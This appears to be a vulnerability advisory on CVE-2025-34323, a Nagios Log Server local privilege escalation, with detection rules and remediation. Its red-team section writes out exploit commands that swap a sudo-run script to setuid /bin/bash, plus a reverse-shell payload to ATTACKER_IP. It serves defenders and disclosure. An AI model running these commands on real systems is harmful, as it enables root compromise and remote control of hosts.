CVE-2025-34323

Executive Summary

CVE-2025-34323 is a local privilege escalation vulnerability in Nagios Log Server versions prior to 2026R1.0.1. The flaw arises from a combination of sudo misconfiguration and group-writable application directories. The www-data user is a member of the nagios group, which has write access to /usr/local/nagioslogserver/scripts. Several scripts in this directory are owned by root and may be executed via sudo without a password. A local attacker running as www-data can move one of these root-owned scripts to a backup name and create a replacement script with attacker-controlled content at the original path, then invoke it with sudo. This allows arbitrary commands to be executed with root privileges, providing full compromise of the underlying operating system.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a configuration and permission issue in the Nagios Log Server application. The attack vector is local, requiring initial access as the www-data user.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) / Adjusted Score: 7.8 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Local (AV:L)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires www-data user
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: High. While the attack is local, the low complexity and high impact make it a critical risk for any environment running an affected version.

Deep Dive & Mechanics

The vulnerability is rooted in two misconfigurations:

1. Group Permissions: The www-data user is a member of the nagios group. The directory /usr/local/nagioslogserver/scripts is group-writable by the nagios group.
2. Sudo Misconfiguration: The sudoers configuration allows the nagios group to execute specific scripts in /usr/local/nagioslogserver/scripts as root without a password.

Attack Flow:

1. An attacker gains access as the www-data user (e.g., via a web application vulnerability).
2. The attacker identifies a root-owned script in /usr/local/nagioslogserver/scripts that can be executed via sudo (e.g., backup.sh).
3. The attacker moves the legitimate script to a backup name: mv /usr/local/nagioslogserver/scripts/backup.sh /usr/local/nagioslogserver/scripts/backup.sh.bak
4. The attacker creates a new malicious script at the original path: echo '#!/bin/bash\nchmod +s /bin/bash' > /usr/local/nagioslogserver/scripts/backup.sh
5. The attacker executes the script with sudo: sudo /usr/local/nagioslogserver/scripts/backup.sh
6. The malicious script runs as root, granting the attacker a root shell or persistent backdoor.

Vulnerable vs. Patched Code

Vulnerable Configuration (Pre-2026R1.0.1):

• /usr/local/nagioslogserver/scripts is group-writable by nagios group.
• Sudoers file contains entries like:

  %nagios ALL=(root) NOPASSWD: /usr/local/nagioslogserver/scripts/*
  

Patched Configuration (2026R1.0.1):

• The directory permissions are tightened (e.g., 755 owned by root:nagios).
• Sudoers entries are restricted to specific, immutable scripts, or the www-data user is removed from the nagios group.
• Scripts are verified via checksums before execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Nagios Log Server instance (version < 2026R1.0.1).
• Initial shell as www-data (e.g., via a web shell or RCE).

Exploitation Steps:

1. Identify a target script:

   ls -la /usr/local/nagioslogserver/scripts/
   sudo -l
   

2. Backup and replace the script:

   cd /usr/local/nagioslogserver/scripts
   mv backup.sh backup.sh.bak
   cat > backup.sh << 'EOF'
   #!/bin/bash
   chmod +s /bin/bash
   EOF
   chmod +x backup.sh
   

3. Execute with sudo:

   sudo /usr/local/nagioslogserver/scripts/backup.sh
   

4. Escalate to root:

   /bin/bash -p
   

Alternative Payload: Create a reverse shell as root:

cat > backup.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
EOF

Blue Team

Detection Steps:

1. Monitor file integrity in /usr/local/nagioslogserver/scripts/ for unexpected changes.
2. Audit sudo logs for execution of scripts from this directory by www-data.
3. Check group memberships – ensure www-data is not in the nagios group.
4. Review sudoers configuration – ensure scripts are not executable via wildcard.

Hunting Query (Linux):

# Find files in the scripts directory owned by root but writable by nagios group
find /usr/local/nagioslogserver/scripts -type f -perm /020 -exec ls -la {} \;

Indicators of Compromise (IOCs)

• File System:

  • Backup files like backup.sh.bak in /usr/local/nagioslogserver/scripts/
  • Unexpected scripts in /usr/local/nagioslogserver/scripts/ with recent modification times
  • Setuid binaries (e.g., /bin/bash with +s bit)

• Processes:

  • sudo commands executed by www-data user
  • Shell processes running as root spawned from www-data

• Logs:

  • /var/log/auth.log entries showing www-data executing sudo
  • /var/log/syslog entries from Nagios Log Server indicating script execution

• Network:

  • Outbound connections from the Nagios server to unknown IPs (if reverse shell used)

Detection Engineering

YARA Rule

rule CVE_2025_34323_Nagios_Log_Server_LPE {
    meta:
        description = "Detects malicious scripts in Nagios Log Server scripts directory"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-34323"
    strings:
        $s1 = "/usr/local/nagioslogserver/scripts/" ascii wide
        $s2 = "sudo" ascii wide
        $s3 = "chmod +s" ascii wide
        $s4 = "/bin/bash" ascii wide
    condition:
        $s1 and ($s2 or $s3 or $s4)
}

Sigma Rule

title: CVE-2025-34323 - Nagios Log Server Local Privilege Escalation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects sudo execution of scripts in Nagios Log Server scripts directory by www-data
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-34323
logsource:
    product: linux
    service: auth
detection:
    selection:
        User: "www-data"
        Command|contains: "/usr/local/nagioslogserver/scripts/"
    condition: selection
falsepositives:
    - Legitimate Nagios operations (if patched)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-34323 - Nagios Log Server LPE - Reverse Shell"; flow:to_server,established; content:"/bin/bash"; content:"/dev/tcp/"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to Nagios Log Server 2026R1.0.1 or later.
2. Remove www-data from the nagios group:

   gpasswd -d www-data nagios
   

3. Restrict sudoers – remove wildcard entries and specify exact scripts with checksums.
4. Harden directory permissions:

   chown root:nagios /usr/local/nagioslogserver/scripts
   chmod 755 /usr/local/nagioslogserver/scripts
   

Long-term Mitigations:

• Implement file integrity monitoring (e.g., AIDE, Tripwire) on critical directories.
• Enforce least privilege for web application users.
• Regularly audit sudoers configurations.
• Use SELinux or AppArmor to confine the Nagios process.

Valters IT